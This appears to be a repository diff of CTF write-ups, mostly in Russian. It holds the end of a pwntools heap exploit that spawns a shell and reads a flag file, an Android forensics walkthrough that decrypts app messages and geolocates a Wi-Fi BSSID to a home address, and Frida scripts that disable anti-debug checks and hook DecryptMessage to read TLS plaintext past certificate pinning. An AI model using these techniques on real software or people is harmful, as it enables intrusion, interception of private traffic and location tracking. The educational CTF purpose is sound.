m = re.search(r"Slot\s+(\d+)\s+awakened", line)
if not m:
raise RuntimeError(f"Unexpected spawn output: {line}")
return int(m.group(1))
def sacrifice(self, slot):
self._choose(2)
self.io.sendlineafter(b"Choose slot: ", str(slot).encode())
self.io.recvline()
def rename(self, slot, shift, blob):
self._choose(5)
self.io.sendlineafter(b"Choose slot: ", str(slot).encode())
self.io.sendlineafter(b"Rune shift (-16..16): ", str(shift).encode())
self.io.sendlineafter(b"Rune length (0..80): ", str(len(blob)).encode())
self.io.sendafter(b"Raw inscription bytes: ", blob)
self.io.send(b"\n")
self.io.recvline()
def scout(self, slot, shift, length):
self._choose(3)
self.io.sendlineafter(b"Choose slot: ", str(slot).encode())
self.io.sendlineafter(b"Scout offset (-24..96): ", str(shift).encode())
self.io.sendlineafter(b"Vision length (0..120): ", str(length).encode())
self.io.recvuntil(b"Vision: ")
hex_line = self.io.recvline().strip().decode()
leaked = bytes.fromhex(hex_line)
return leaked
def rewind(self, anchor):
self._choose(4)
self.io.sendlineafter(b"Rewind to anchor: ", str(anchor).encode())
self.io.recvline()
def invoke_core(self):
self._choose(6)
def main():
global LEAKED_COOKIE
elf = context.binary
io = start()
game = GameInteraction(io)
target = elf.symbols["g_bridge"]
oracle = elf.symbols["summon_oracle"]
log.info("Stage 1: create free chunk and resurrect it via rewind")
s0 = game.spawn(b"alpha")
log.info(f"spawned slot={s0}")
game.sacrifice(s0)
game.rewind(1)
log.info("Stage 2: leak SECRET_COOKIE from encrypted_ptr via Scout")
leak = game.scout(s0, -8, 8)
LEAKED_COOKIE = u64(leak.ljust(8, b"\x00"))
log.success(f"cookie = {hex(LEAKED_COOKIE)}")
log.info("Stage 3: forge warrior header and poison free list")
forged = forge_warrior(b"time-smith", target)
game.rename(s0, -16, forged)
s1 = game.spawn(b"reclaim-1")
log.info(f"reclaim spawn slot={s1}")
s2 = game.spawn(b"bridge")
log.info(f"poisoned spawn slot={s2}")
log.info("Stage 4: overwrite Chronos dispatch pointer inside forged allocation")
payload = b"A" * 24 + p64(oracle)
game.rename(s2, 0, payload)
log.info("Stage 5: invoke dispatch and get shell")
game.invoke_core()
if args.INTERACTIVE:
io.interactive()
return
io.sendline(b"id")
io.sendline(b"cat /app/flag.txt || cat deploy/flag.txt || cat flag.txt")
io.sendline(b"exit")
print(io.recvrepeat(1.0).decode(errors="ignore"))
if __name__ == "__main__":
main()

View File

@@ -0,0 +1,247 @@
# WitheredFlower Forensic
На входе нам дается `evidence.zip`, внутри которого расположены: `backup.ab` и папка `Logs`.
## Подготовка
Извлекаем `backup.ab` через `abe.jar` (его скачиваем с интернета)
После этого основные пути:
- логи: `.\Logs\...`
- данные приложений: `.\ab_extracted\...`
### Таск 1. BRAND / MODEL / BUILD_ID
1. Открываем `Logs/ADBReport/device_info.txt`.
2. Поиск по файлу:
- `ro.product.manufacturer`
- `ro.product.model`
3. Открываем `Logs/DumpSysReport/package.txt`.
4. Поиск по файлу: `buildFingerprint=`.
5. Из `buildFingerprint` берём `BUILD_ID` (часть вида `BP2A...`).
Флаг: `caplag{SAMSUNG/SM-A346E/BP2A.250605.031.A3}`
### Таск 2. Время последней загрузки + Realtime
1. Открываем `Logs/DumpSysReport/meminfo.txt`, в первой строке видим: `Realtime: 479801602` ms
2. Открываем `Logs/DumpSysReport/sensorservice.txt`, берём:
- `Captured at: 04:00:17.895`
- дату из строк `wall=02-10 ...` (месяц-день)
3. Год берём из системных логов с ISO-датой (например, `Logs/ADBReport/device_state.txt`), здесь это `2026`.
4. Считаем в Python:
```python
from datetime import datetime, timedelta
capture = datetime.fromisoformat("2026-02-10 04:00:17.895")
realtime_ms = 479_801_602
realtime_sec = realtime_ms // 1000
boot_raw = capture - timedelta(seconds=realtime_sec)
boot_rounded = (boot_raw + timedelta(milliseconds=500)).replace(microsecond=0)
days = realtime_sec // 86400
rem = realtime_sec % 86400
hours = rem // 3600
minutes = (rem % 3600) // 60
seconds = rem % 60
print("boot_raw:", boot_raw)
print("boot_rounded:", boot_rounded.strftime("%Y-%m-%d %H:%M:%S"))
print("realtime_DDHHMMSS:", f"{days:02d}:{hours:02d}:{minutes:02d}:{seconds:02d}")
```
Получаем:
- `boot_rounded = 2026-02-04 14:43:37`
- `realtime_DDHHMMSS = 05:13:16:41`
Флаг: `caplag{2026-02-04/14:43:37_05:13:16:41}`
## Таск 3. Самый большой файл в Download + SHA-256
1. Открываем папку `ab_extracted/shared/0/Download`.
2. Сортируем файлы по размеру по убыванию.
3. Самый большой файл: `Telegram.apk`.
4. Считаем SHA-256 вручную через 7-Zip:
- `7-Zip -> CRC SHA -> SHA-256`
- копируем значение
Флаг: `caplag{4d3400b9330b2a7d93683fd03ddda41aa144c65f74eb27e3a1786b21397ec7d1}`
## Таск 4. Самый ранний Wi-Fi BSSID + адрес
1. Открываем `Logs/DumpSysReport/wifi.txt`.
2. Видим, что чаще всего встречается BSSID 00:1C:10:BC:B4:03, он и есть самый ранний
3. Открываем сайт 3wifi.dev, вбиваем в поиск этот MAC адрес, находим коорды 38.939159, -77.163895
4. По картам находим адрес дома (1305 BALLANTRAE FARM DRIVE MC LEAN VA 22101)
Флаг: `caplag{00:1C:10:BC:B4:03_1305BALLANTRAEFARMDRIVEMCLEANVA22101}`
## Таск 5. Год постройки, стоимость земли на 2017 год, площадь бассейна в sq ft.
По описанию таска нам нужно найти информацию о соседнем доме с таким же номером, 1305 Ballantrae Ct, McLean, VA 22101
1. Открываем поиск по адресу на сайте https://icare.fairfaxcounty.gov/ffxcare/search/commonsearch.aspx?mode=address
2. Вбиваем все данные, получаем pdf документ со всей информацией о доме.
3. В PDF находим данны о стоимости, площади бассейна и т.д.
Флаг: `caplag{1965_887000_720}`
## Таск 6. Package name + device name
1. Открываем `Logs/ADBReport/packages_thirdparty.txt`, ищем `projectflower`:
- получаем package name: `com.projectflower.agency`
2. Открываем `Logs/DumpSysReport/wifi.txt`, ищем `wifi_p2p_device_name`:
- получаем device name: `a-272-8`
Флаг: `caplag{com.projectflower.agency_a-272-8}`
## Таск 7. Время первой установки ProjectFlower
1. Подтверждаем `appId` для нужного пакета:
- `Logs/DumpSysReport/package.txt`
- по поиску `Package [com.projectflower.agency]` и `appId=10336`
2. Открываем `Logs/ADBReport/device_state.txt`, ищем `Package add: uid=10336`.
3. Среди найденных строк выбираем самое раннее время по timestamp в начале строки.
Самый ранний timestamp: `2026-02-10T02:50:38.948756`.
Формат: `2026-02-10/02:50:38`
Флаг: `caplag{2026-02-10/02:50:38}`
## Таск 8. Основной sync endpoint
1. Идём в `ab_extracted/apps/com.projectflower.agency/a/`.
2. Открываем `base.apk` архиватором (или копируем как `base.zip` и распаковываем).
3. Читаем файл `assets/protocol/kappa.cfg`.
Берём:
- `endpoint_primary=wss://relay-core.projectflower.agency/sync`
- `port_primary=443`
Флаг: `caplag{wss://relay-core.projectflower.agency/sync:443}`
## Таск 9. PIN + SecretCode агента T-4A1KD
### PIN
1. Открываем `.\ab_extracted\apps\com.projectflower.agency\a\base.apk` в jadx-gui.
2. Переходим в класс `com.projectflower.agency.security.PinManager` (или делаем поиск по строке `pin_hash` и открываем класс-обработчик PIN).
3. Открываем метод `initializeDefaultsIfMissing` и/или `hashPin`.
4. В `initializeDefaultsIfMissing` видно, какое 6-значное значение передаётся как дефолтный PIN при инициализации.
5. В `hashPin` подтверждаем алгоритм: `PBKDF2WithHmacSHA256`, `12000` раундов.
6. Проверочный state лежит в `.\ab_extracted\apps\com.projectflower.agency\sp\pf_secure_state.xml`
(`pin_salt`, `pin_hash`), что совпадает с логикой из кода.
7. Из кода получаем PIN: `473029`.
### SecretCode
1. Открываем `.\ab_extracted\apps\com.projectflower.agency\db\flowerline.db` в DB Browser for SQLite.
2. Выполняем SQL:
```sql
SELECT id, keyPartA, keyPartB FROM chat_threads;
SELECT chatId, bodyCipher, iv FROM messages WHERE senderId='T-4A1KD' AND isEncrypted=1;
```
3. Для найденного `chatId` собираем материал ключа:
- `key_material = keyPartA + "::" + keyPartB + "::orchid/signal/v4"`
4. Расшифровываем `bodyCipher` (AES-GCM, nonce = `iv`, AAD пустой) и получаем plaintext.
```python
import base64, hashlib, sqlite3
from pathlib import Path
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
db = Path(r".\ab_extracted\apps\com.projectflower.agency\db\flowerline.db")
con = sqlite3.connect(db)
con.row_factory = sqlite3.Row
cur = con.cursor()
cur.execute("SELECT chatId, bodyCipher, iv FROM messages WHERE senderId='T-4A1KD' AND isEncrypted=1 LIMIT 1")
msg = cur.fetchone()
cur.execute("SELECT keyPartA, keyPartB FROM chat_threads WHERE id=?", (msg["chatId"],))
thr = cur.fetchone()
key_material = f'{thr["keyPartA"]}::{thr["keyPartB"]}::orchid/signal/v4'
key = hashlib.sha256(key_material.encode()).digest()
pt = AESGCM(key).decrypt(base64.b64decode(msg["iv"]), base64.b64decode(msg["bodyCipher"]), None)
print(pt.decode())
```
Получаем: `Code: 19XQF`
Флаг: `caplag{473029_19XQF}`
## Таск 10. Восстановление удалённого сообщения + SHA-256
1. В DB Browser находим удалённое сообщение через ссылку `tombstoneRef`:
```sql
SELECT id, chatId, senderId, tombstoneRef
FROM messages
WHERE senderId='Petal' AND tombstoneRef IS NOT NULL;
```
2. По найденному `tombstoneRef` достаём шифртекст:
```sql
SELECT id, messageId, cipherText, iv
FROM tombstones
WHERE id = '<tombstoneRef из шага 1>';
```
3. Достаём параметры для ключа:
- `fragment` из `.\apk_unpack\assets\protocol\kappa.cfg`
- `cursor_seed` из `.\ab_extracted\apps\com.projectflower.agency\sp\pf_ops_seed.xml`
4. Формируем ключ:
- `key = SHA256("PLF-omega-" + fragment + "kappa-19" + seed[:8])`
5. Расшифровываем AES-GCM (`cipherText`, `iv`, AAD пустой), получаем строку формата:
- `messageId|chatId|original_body`
6. Считаем SHA-256 только от `original_body`.
```python
import base64, hashlib, re, sqlite3
from pathlib import Path
from zipfile import ZipFile
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
base = Path(r".")
db = base / "ab_extracted" / "apps" / "com.projectflower.agency" / "db" / "flowerline.db"
seed_xml = (base / "ab_extracted" / "apps" / "com.projectflower.agency" / "sp" / "pf_ops_seed.xml").read_text(encoding="utf-8")
cfg_path = base / "apk_unpack" / "assets" / "protocol" / "kappa.cfg"
if cfg_path.exists():
cfg = cfg_path.read_text(encoding="utf-8")
else:
apk = base / "ab_extracted" / "apps" / "com.projectflower.agency" / "a" / "base.apk"
with ZipFile(apk, "r") as z:
cfg = z.read("assets/protocol/kappa.cfg").decode("utf-8")
seed = re.search(r'<string name="cursor_seed">([^<]+)</string>', seed_xml).group(1)
fragment = re.search(r"^fragment=(.+)$", cfg, re.M).group(1).strip()
con = sqlite3.connect(db)
con.row_factory = sqlite3.Row
cur = con.cursor()
cur.execute("SELECT tombstoneRef FROM messages WHERE senderId='Petal' AND tombstoneRef IS NOT NULL ORDER BY createdAt LIMIT 1")
ref = cur.fetchone()["tombstoneRef"]
cur.execute("SELECT cipherText, iv FROM tombstones WHERE id=?", (ref,))
t = cur.fetchone()
key = hashlib.sha256(f"PLF-omega-{fragment}kappa-19{seed[:8]}".encode()).digest()
pt = AESGCM(key).decrypt(base64.b64decode(t["iv"]), base64.b64decode(t["cipherText"]), None).decode()
original_body = pt.split("|", 2)[2]
print(hashlib.sha256(original_body.encode()).hexdigest())
```
Флаг: `caplag{8eddf96d2de82df880e42163a792338c067b65f07ab1d167f9ffec9fe12ceaea}`

162
tesseract-reverse/README.md Normal file
View File

@@ -0,0 +1,162 @@
# Tesseract
Забудьте про статику: истина доступна только в динамике.
## Решение
Подсказка в задании сразу задает направление: **"забудь про статику, смотри на динамику"**.
![Интерфейс задания](image.png)
![Подсказка](image-1.png)
Первым делом загружаем сэмпл в **Detect It Easy**. Видим **VMProtect**, anti-debug. Т.к. это *.NET*, открываем в **DnSpy**, понимаем что смылсла в статике нет. Везде сильная обфускация, Control-Flow + Сильная анти-дебаг защита. Поэтому лучше смотреть, что происходит во время работы программы: какие строки появляются в памяти и через какие WinAPI проходят данные.
Ниже разберем решение пошагово, тем же путем, которым обычно идет участник.
## Что понадобится
- `frida` и `frida-tools` на Windows.
- PowerShell
- Process Hacker / Process Explorer - посмотреть TCP-соединения.
- WinAPI Monitor - понять, какие WinAPI реально вызываются (SSPI/Schannel, Winsock и т.п.).
Готовые скрипты решения:
- стадия 1 (получение пароля): `stage_1_findpassword.js`
- стадия 2 (получение флага): `stage_2_decryptmessage.js`
## Что видно при запуске
После старта видим простое окно:
![Окно программы](image-2.png)
- поле ввода
- кнопка `Check`
- подпись `status:`
Если вводить случайные строки и нажимать `Check`, появляется сообщение **`Invalid Password`**.
Из этого делаем два практических вывода:
1. внутри есть сравнение с правильным паролем;
2. правильная строка где-то в процессе все-таки появляется, хотя бы на короткое время.
## Стадия 1: достаем пароль динамически
### Почему не `strings` и не статический реверс
Если мы запустим программу, укажем любой пароль и посмотрим какие строки лежат в памяти процесса, то ничего полезного не увидем. Сам верный пароль может лежать в памяти, но не долго.
В задачах такого типа пароль часто:
- вычисляется на лету;
- расшифровывается в память на долю секунды;
- сразу затирается;
- скрывается за виртуализацией/обфускацией.
Поэтому здесь быстрее работать через рантайм.
### Идея
Мы не знаем пароль, но знаем строку, которая точно рисуется на экране: `Invalid Password`.
План такой:
1. поймать момент, когда приложение рисует `Invalid Password`;
2. получить указатель на эту строку;
3. найти memory range, где лежит этот указатель;
4. просканировать соседнюю область памяти на строки-кандидаты;
5. выбрать наиболее похожую на пароль.
В этом таске строка рисуется через `user32!DrawTextExW`, поэтому это удобная точка для хука.
### Как автоматизировать клики
Чтобы не нажимать кнопку вручную, скрипт:
- находит `EDIT` и кнопку `Check`;
- шлет `WM_SETTEXT` в поле;
- шлет `BM_CLICK` в кнопку;
- повторяет это циклом.
Поиск контролов сделан через `EnumWindows` и `EnumChildWindows`.
### Что делает `stage_1_findpassword.js`
По сути в нем четыре шага:
1. Минимально отключает антидебаг (`IsDebuggerPresent`, `CheckRemoteDebuggerPresent`).
2. Автоматически гоняет ввод и нажатие `Check`.
3. Хукает `DrawTextExW` и ловит вызов с текстом `Invalid Password`.
4. От найденного адреса сканирует память, собирает строки-кандидаты и ранжирует их по простым эвристикам.
![Результат первой стадии](image-3.png)
в выводе видно что-то такое:
```
[CAND 1] ... VMP_Is_Watching_Y0u
[+] BEST GUESS: VMP_Is_Watching_Y0u
```
Эту строку и вводим в GUI как пароль.
### Запуск стадии 1
```powershell
frida -f .\tesseract.exe -l .\stage_1_findpassword.js --runtime=v8
```
Дальше ждем строку `BEST GUESS`.
## Стадия 2: достаем флаг при TLS и pinning
![Сетевое поведение](image-4.png)
После ввода верного пароля ничего не происходит, происходит авторизация и все. Запустим proc hacker и видим, что после ввода пароля приложение создает какое-то подключение. Так же это видно через API Monitor
Интуитивный вариант - снять трафик в Wireshark/Burp/mitmproxy - здесь не помогает:
- трафик зашифрован TLS;
- pinning ломает MITM даже с подставленным сертификатом.
### Идея
Смотрим не в сеть, а в процесс. Любой TLS-клиент внутри себя в какой-то момент получает уже расшифрованные данные.
В Windows это обычно связка SSPI/Schannel. В API Monitor это видно по вызовам:
- `InitializeSecurityContextW` (handshake);
- `DecryptMessage` (расшифровка прикладных данных).
![Следы Schannel в API Monitor](image-5.png)
Значит, хукаем `DecryptMessage`, и после вызова читаем буферы `SECBUFFER_DATA`. Там лежит plaintext, который приложение уже расшифровало для себя.
Так мы обходим pinning без MITM: просто забираем готовые данные из памяти процесса.
### Что делает `stage_2_decryptmessage.js`
Скрипт:
1. при необходимости гасит базовые антидебаг-проверки;
2. ждет загрузку `secur32.dll` / `sspicli.dll`;
3. ставит хук на `DecryptMessage`;
4. на `onLeave` парсит `SecBufferDesc` и связанные `SecBuffer`;
5. читает все буферы типа `SECBUFFER_DATA` и печатает расшифрованный текст.
![Результат второй стадии](image-6.png)
В выводе получаем флаг:
```
[+] FLAG: caplag{D0uble_H00k_And_Tim3_Warp_Cr4ck}
```
### Запуск стадии 2
```powershell
frida -f .\tesseract.exe -l .\stage_2_decryptmessage.js --runtime=v8
```

Binary file not shown.

After

Width:  |  Height:  |  Size: 167 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 3.6 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 60 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 4.5 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 122 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 58 KiB

BIN
tesseract-reverse/image.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 21 KiB

View File

@@ -0,0 +1,351 @@
console.log('[*] solve.js: anchor-based heap extractor loaded');
function getExport(mod, name) {
var m = Process.findModuleByName(mod);
if (!m) return null;
try {
return m.getExportByName(name);
} catch (_) {
return null;
}
}
function safeReadUtf16(p, maxChars) {
if (p.isNull()) return null;
try {
if (maxChars !== undefined) return p.readUtf16String(maxChars);
return p.readUtf16String();
} catch (_) {
return null;
}
}
function isPrintableAscii(c) {
return c >= 0x20 && c <= 0x7e;
}
function readUtf16Around(addr, maxChars) {
var p = addr;
try {
for (var i = 0; i < 128; i++) {
var prev = p.sub(2).readU16();
if (prev === 0) break;
if (!isPrintableAscii(prev)) break;
p = p.sub(2);
}
} catch (_) {}
var s = safeReadUtf16(p, maxChars || 96);
return { base: p, str: s };
}
function analyzeString(s) {
var hasU = false;
var hasL = false;
var hasD = false;
var underscores = 0;
for (var i = 0; i < s.length; i++) {
var ch = s.charCodeAt(i);
if (ch === 0x5f) underscores++;
if (ch >= 0x41 && ch <= 0x5a) hasU = true;
else if (ch >= 0x61 && ch <= 0x7a) hasL = true;
else if (ch >= 0x30 && ch <= 0x39) hasD = true;
}
var segs = s.split('_').length;
return { hasU: hasU, hasL: hasL, hasD: hasD, underscores: underscores, segs: segs };
}
function looksKeyLike(s) {
if (!s) return false;
if (s.length < 8 || s.length > 64) return false;
// Filter obvious noise.
if (s.indexOf('=') !== -1) return false;
if (s.indexOf('\\') !== -1) return false;
if (s.indexOf(':') !== -1) return false;
if (s.indexOf('.') !== -1) return false;
if (s.indexOf(' ') !== -1) return false;
for (var i = 0; i < s.length; i++) {
var c = s.charCodeAt(i);
if (!isPrintableAscii(c)) return false;
}
for (var i = 0; i < s.length; i++) {
var c = s.charCodeAt(i);
var ok =
(c >= 0x30 && c <= 0x39) ||
(c >= 0x41 && c <= 0x5a) ||
(c >= 0x61 && c <= 0x7a) ||
c === 0x5f;
if (!ok) return false;
}
if (s.indexOf('_') === -1) return false;
var a = analyzeString(s);
if (!(a.hasU && a.hasL)) return false;
return true;
}
function scoreCandidate(s) {
var a = analyzeString(s);
var score = 0;
if (s.length >= 12 && s.length <= 32) score += 50;
score += Math.max(0, 40 - Math.abs(s.length - 20));
if (a.segs >= 3 && a.segs <= 5) score += 30;
else score -= Math.abs(a.segs - 4) * 5;
if (a.hasD) score += 10;
score += a.underscores * 2;
return score;
}
function absPtrDelta(a, b) {
try {
var d = a.sub(b).toInt32();
if (d < 0) d = -d;
return d;
} catch (_) {
return 0x7fffffff;
}
}
function installAntiAntiDebug() {
function hookRet0(mod, name) {
var addr = getExport(mod, name);
if (!addr) return;
try {
Interceptor.replace(
addr,
new NativeCallback(function () {
return 0;
}, 'int', [])
);
console.log('[*] anti-anti-debug: ' + mod + '!' + name + ' -> 0');
} catch (_) {}
}
function hookCheckRemoteDebuggerPresent() {
var mod = 'kernel32.dll';
var name = 'CheckRemoteDebuggerPresent';
var addr = getExport(mod, name);
if (!addr) return;
try {
Interceptor.replace(
addr,
new NativeCallback(function (hProcess, pbDebuggerPresent) {
try {
if (!pbDebuggerPresent.isNull()) pbDebuggerPresent.writeU32(0);
} catch (_) {}
return 1;
}, 'int', ['pointer', 'pointer'])
);
console.log('[*] anti-anti-debug: ' + mod + '!' + name + ' -> TRUE, out=0');
} catch (_) {}
}
hookRet0('kernel32.dll', 'IsDebuggerPresent');
hookCheckRemoteDebuggerPresent();
}
function automateUi() {
var user32 = 'user32.dll';
var pEnumWindows = getExport(user32, 'EnumWindows');
var pEnumChildWindows = getExport(user32, 'EnumChildWindows');
var pGetWindowThreadProcessId = getExport(user32, 'GetWindowThreadProcessId');
var pGetWindowTextW = getExport(user32, 'GetWindowTextW');
var pGetClassNameW = getExport(user32, 'GetClassNameW');
var pSendMessageW = getExport(user32, 'SendMessageW');
if (!pEnumWindows || !pEnumChildWindows || !pGetWindowThreadProcessId || !pGetWindowTextW || !pGetClassNameW || !pSendMessageW) {
return;
}
var EnumWindows = new NativeFunction(pEnumWindows, 'int', ['pointer', 'pointer']);
var EnumChildWindows = new NativeFunction(pEnumChildWindows, 'int', ['pointer', 'pointer', 'pointer']);
var GetWindowThreadProcessId = new NativeFunction(pGetWindowThreadProcessId, 'uint', ['pointer', 'pointer']);
var GetWindowTextW = new NativeFunction(pGetWindowTextW, 'int', ['pointer', 'pointer', 'int']);
var GetClassNameW = new NativeFunction(pGetClassNameW, 'int', ['pointer', 'pointer', 'int']);
var SendMessageW = new NativeFunction(pSendMessageW, 'pointer', ['pointer', 'uint', 'pointer', 'pointer']);
var pidBuf = Memory.alloc(4);
function getText(hwnd) {
var buf = Memory.alloc(2 * 512);
buf.writeU16(0);
var n = GetWindowTextW(hwnd, buf, 512);
if (n <= 0) return '';
return safeReadUtf16(buf, 512) || '';
}
function getClass(hwnd) {
var buf = Memory.alloc(2 * 256);
buf.writeU16(0);
var n = GetClassNameW(hwnd, buf, 256);
if (n <= 0) return '';
return safeReadUtf16(buf, 256) || '';
}
function findMainWindow() {
var best = NULL;
var cb = new NativeCallback(function (hwnd, lParam) {
pidBuf.writeU32(0);
GetWindowThreadProcessId(hwnd, pidBuf);
var pid = pidBuf.readU32();
if (pid !== Process.id) return 1;
var title = getText(hwnd);
if (best.isNull()) best = hwnd;
if (title.indexOf('Tesseract') !== -1) {
best = hwnd;
return 0;
}
return 1;
}, 'int', ['pointer', 'pointer']);
EnumWindows(cb, ptr(0));
return best;
}
function findControls() {
var hwnd = findMainWindow();
if (hwnd.isNull()) return null;
var btn = NULL;
var edit = NULL;
var cb = new NativeCallback(function (child, lParam) {
var txt = getText(child);
var cls = getClass(child);
if (btn.isNull() && txt === 'Check') btn = child;
if (edit.isNull() && cls.indexOf('EDIT') !== -1) edit = child;
return 1;
}, 'int', ['pointer', 'pointer']);
EnumChildWindows(hwnd, cb, ptr(0));
return { hwnd: hwnd, btn: btn, edit: edit };
}
var WM_SETTEXT = 0x000c;
var BM_CLICK = 0x00f5;
var cached = null;
setInterval(function () {
try {
if (!cached || cached.btn.isNull() || cached.edit.isNull()) {
cached = findControls();
if (!cached) return;
console.log('[*] UI: hwnd=' + cached.hwnd + ' edit=' + cached.edit + ' btn=' + cached.btn);
if (cached.btn.isNull() || cached.edit.isNull()) return;
}
var input = Memory.allocUtf16String('a');
SendMessageW(cached.edit, WM_SETTEXT, ptr(0), input);
SendMessageW(cached.btn, BM_CLICK, ptr(0), ptr(0));
} catch (_) {}
}, 300);
}
var dumped = false;
function dumpCandidatesAround(anchorPtr) {
if (dumped) return;
dumped = true;
console.log('[*] anchor ptr=' + anchorPtr);
var r = Process.findRangeByAddress(anchorPtr);
if (!r) {
console.log('[!] findRangeByAddress failed');
return;
}
var radius = 0x100000;
var lo = r.base;
var hi = r.base.add(r.size);
var start = anchorPtr.sub(radius);
if (start.compare(lo) < 0) start = lo;
var end = anchorPtr.add(radius);
if (end.compare(hi) > 0) end = hi;
var size = end.sub(start).toInt32();
console.log('[*] scan window base=' + start + ' size=' + size + ' (range base=' + r.base + ' size=' + r.size + ')');
var needle = '5F 00';
var seen = {};
var cands = [];
Memory.scan(start, size, needle, {
onMatch: function (address, sz) {
var res = readUtf16Around(address, 96);
var s = res.str;
if (!looksKeyLike(s)) return;
if (seen[s]) return;
seen[s] = 1;
var dist = absPtrDelta(res.base, anchorPtr);
var score = scoreCandidate(s);
cands.push({ s: s, addr: res.base, dist: dist, score: score });
},
onError: function (reason) {},
onComplete: function () {
cands.sort(function (a, b) {
if (b.score !== a.score) return b.score - a.score;
return a.dist - b.dist;
});
console.log('[*] candidates found: ' + cands.length);
var top = Math.min(15, cands.length);
for (var i = 0; i < top; i++) {
var c = cands[i];
console.log('[CAND ' + (i + 1) + '] score=' + c.score + ' dist=' + c.dist + ' @' + c.addr + ' ' + c.s);
}
if (cands.length > 0) {
console.log('[+] BEST GUESS: ' + cands[0].s);
} else {
console.log('[!] No candidates.');
}
}
});
}
function installAnchorHook() {
var addr = getExport('user32.dll', 'DrawTextExW');
if (!addr) {
console.log('[!] missing user32!DrawTextExW');
return;
}
Interceptor.attach(addr, {
onEnter: function (args) {
if (dumped) return;
var pText = args[1];
var n = args[2].toInt32();
if (pText.isNull()) return;
var s = safeReadUtf16(pText, n === -1 ? 512 : Math.min(n, 512));
if (!s) return;
if (s.indexOf('Invalid Password') !== -1) {
console.log('[*] saw Invalid Password');
dumpCandidatesAround(pText);
}
}
});
console.log('[*] hooked user32!DrawTextExW');
}
setTimeout(function () {
installAntiAntiDebug();
installAnchorHook();
automateUi();
console.log('[*] ready; waiting for Invalid Password render...');
}, 500);

View File

@@ -0,0 +1,176 @@
var installed = false;
var msgNo = 0;
function getExport(mod, name) {
var m = Process.findModuleByName(mod);
if (!m) return null;
try {
return m.getExportByName(name);
} catch (_) {
return null;
}
}
function findExportBySubstring(mod, needle) {
var m = Process.findModuleByName(mod);
if (!m) return null;
try {
var ex = m.enumerateExports();
var lowNeedle = needle.toLowerCase();
for (var i = 0; i < ex.length; i++) {
var n = (ex[i].name || "").toLowerCase();
if (n.indexOf(lowNeedle) !== -1) return ex[i].address;
}
} catch (_) {}
return null;
}
function bytesToEscapedText(bytes) {
var out = "";
for (var i = 0; i < bytes.length; i++) {
var b = bytes[i] & 0xff;
if (b === 0x0a) out += "\n";
else if (b === 0x0d) out += "\r";
else if (b === 0x09) out += "\t";
else if (b >= 0x20 && b <= 0x7e) out += String.fromCharCode(b);
else {
var h = b.toString(16);
if (h.length === 1) h = "0" + h;
out += "\\x" + h;
}
}
return out;
}
function readSecBufferDesc(pDesc) {
var ptrSize = Process.pointerSize;
if (pDesc.isNull()) return [];
var cBuffers = 0;
var pBuffers = NULL;
try {
cBuffers = pDesc.add(4).readU32();
pBuffers = pDesc.add(8).readPointer();
} catch (_) {
return [];
}
if (cBuffers === 0 || cBuffers > 32) return [];
if (pBuffers.isNull()) return [];
var out = [];
var secBufSize = 8 + ptrSize; // 12 on x86, 16 on x64
for (var i = 0; i < cBuffers; i++) {
try {
var p = pBuffers.add(i * secBufSize);
var cb = p.readU32();
var type = p.add(4).readU32();
var pv = p.add(8).readPointer();
out.push({ cb: cb, type: type, pv: pv });
} catch (_) {}
}
return out;
}
function dumpPlaintext(bytes) {
if (!bytes || bytes.length === 0) return;
msgNo++;
console.log("");
console.log("[*] ===== DecryptMessage plaintext #" + msgNo + " (" + bytes.length + " bytes) =====");
// Prefer single print to preserve original line breaks. Fall back to chunking
// only for very large buffers.
var MAX_SINGLE_LOG = 256 * 1024;
if (bytes.length <= MAX_SINGLE_LOG) {
console.log(bytesToEscapedText(bytes));
return;
}
var CHUNK = 256 * 1024;
for (var off = 0; off < bytes.length; off += CHUNK) {
var end = off + CHUNK;
if (end > bytes.length) end = bytes.length;
console.log("[*] --- chunk " + off + ".." + end + " ---");
console.log(bytesToEscapedText(bytes.subarray(off, end)));
}
}
function installAntiAntiDebug() {
function hookRet0(mod, name) {
var a = getExport(mod, name);
if (!a) return;
try {
Interceptor.replace(a, new NativeCallback(function () { return 0; }, "int", []));
console.log("[*] anti-anti-debug: " + mod + "!" + name + " -> 0");
} catch (_) {}
}
function hookCheckRemoteDebuggerPresent() {
var a = getExport("kernel32.dll", "CheckRemoteDebuggerPresent");
if (!a) return;
try {
Interceptor.replace(
a,
new NativeCallback(function (hProcess, pbDebuggerPresent) {
try { if (!pbDebuggerPresent.isNull()) pbDebuggerPresent.writeU32(0); } catch (_) {}
return 1;
}, "int", ["pointer", "pointer"])
);
console.log("[*] anti-anti-debug: kernel32!CheckRemoteDebuggerPresent -> TRUE,out=0");
} catch (_) {}
}
hookRet0("kernel32.dll", "IsDebuggerPresent");
hookCheckRemoteDebuggerPresent();
}
function installHooksOnce() {
if (installed) return true;
var addr =
getExport("secur32.dll", "DecryptMessage") ||
findExportBySubstring("secur32.dll", "DecryptMessage") ||
getExport("sspicli.dll", "DecryptMessage") ||
findExportBySubstring("sspicli.dll", "DecryptMessage");
if (!addr) return false;
installed = true;
console.log("[*] Hooking DecryptMessage @ " + addr);
Interceptor.attach(addr, {
onEnter: function (args) {
this.pDesc = args[1];
},
onLeave: function (retval) {
try {
var bufs = readSecBufferDesc(this.pDesc);
for (var i = 0; i < bufs.length; i++) {
var b = bufs[i];
if (b.type !== 1) continue;
if (b.cb === 0) continue;
if (b.pv.isNull()) continue;
var ab = b.pv.readByteArray(b.cb);
if (ab === null) continue;
dumpPlaintext(new Uint8Array(ab));
}
} catch (_) {}
}
});
return true;
}
setTimeout(function () {
installAntiAntiDebug();
}, 100);
setInterval(function () {
if (!installed) {
var ok = installHooksOnce();
if (ok) console.log("[*] DecryptMessage hook installed. Use the app normally and wait for output...");
}
}, 50);